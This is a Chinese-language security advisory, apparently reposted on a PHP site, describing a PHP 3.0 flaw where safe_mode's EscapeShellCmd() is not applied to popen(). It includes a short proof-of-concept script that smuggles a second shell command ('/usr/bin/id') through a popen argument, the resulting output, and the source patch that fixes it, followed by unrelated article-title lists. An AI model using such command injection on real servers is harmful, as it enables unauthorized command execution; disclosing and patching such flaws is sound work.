PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
PHP5/ZendEngine2的改进
Oct 09 PHP
PHP概述.
Oct 09 PHP
PHP+XML 制作简单的留言本 图文教程
Nov 02 PHP
php学习笔记 数组遍历实现代码
Jun 09 PHP
PHP url 加密解密函数代码
Aug 26 PHP
基于php冒泡排序算法的深入理解
Jun 09 PHP
基于PHP服务端图片生成缩略图的方法详解
Jun 20 PHP
codeigniter数据库操作函数汇总
Jun 12 PHP
php截取字符串函数分享
Feb 02 PHP
老司机传授Ubuntu下Apache+PHP+MySQL环境搭建攻略
Mar 20 PHP
php使用crypt()函数进行加密
Jun 08 PHP
PHPMAILER实现PHP发邮件功能
Apr 18 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
thinkphp的静态缓存用法分析
2014/11/29 PHP
Laravel框架之解决前端显示图片问题
2019/10/24 PHP
javascript json 新手入门文档
2009/12/03 Javascript
JavaScript游戏之是男人就下100层代码打包
2010/11/08 Javascript
根据表格中的某一列进行排序的javascript代码
2013/11/29 Javascript
深入探寻seajs的模块化与加载方式
2015/04/14 Javascript
JavaScript的设计模式经典之代理模式
2016/02/24 Javascript
创建一个类Person的简单实例
2016/05/17 Javascript
JS读取XML文件数据并以table形式显示数据的方法(兼容IE与火狐)
2016/06/02 Javascript
JavaScript中的对象继承关系
2016/08/01 Javascript
Angular 常用指令实例总结整理
2016/12/13 Javascript
详解javascript立即执行函数表达式IIFE
2017/02/13 Javascript
Angular4学习笔记之实现绑定和分包
2017/08/01 Javascript
Grunt针对静态文件的压缩,版本控制打包的实例讲解
2017/09/29 Javascript
Angular简单验证功能示例
2017/12/22 Javascript
Vue实现商品飞入购物车效果(电商项目)
2019/11/26 Javascript
Vue2.4+新增属性.sync、$attrs、$listeners的具体使用
2020/03/08 Javascript
js实现随机点名功能
2020/12/23 Javascript
[40:05]DOTA2上海特级锦标赛A组小组赛#1 EHOME VS MVP.Phx第一局
2016/02/25 DOTA
python备份文件以及mysql数据库的脚本代码
2013/06/10 Python
学习python类方法与对象方法
2016/03/15 Python
机器学习python实战之决策树
2017/11/01 Python
Python实现一个简单的验证码程序
2017/11/03 Python
pandas数值计算与排序方法
2018/04/12 Python
Django实现web端tailf日志文件功能及实例详解
2019/07/28 Python
Django框架获取form表单数据方式总结
2020/04/22 Python
详解HTML5 canvas绘图基本使用方法
2018/01/29 HTML / CSS
Html5 Geolocation获取地理位置信息实例
2016/12/09 HTML / CSS
canvas如何绘制钟表的方法
2017/12/13 HTML / CSS
2013届毕业生求职信范文
2013/11/20 职场文书
中华美德颂演讲稿
2014/05/20 职场文书
五一活动标语
2014/06/30 职场文书
教师考核表个人总结
2015/02/12 职场文书
入党心得体会
2019/06/20 职场文书
年终奖金发放管理制度,中小企业适用,拿去救急吧!
2019/07/12 职场文书
使用CSS设置滚动条样式
2022/01/18 HTML / CSS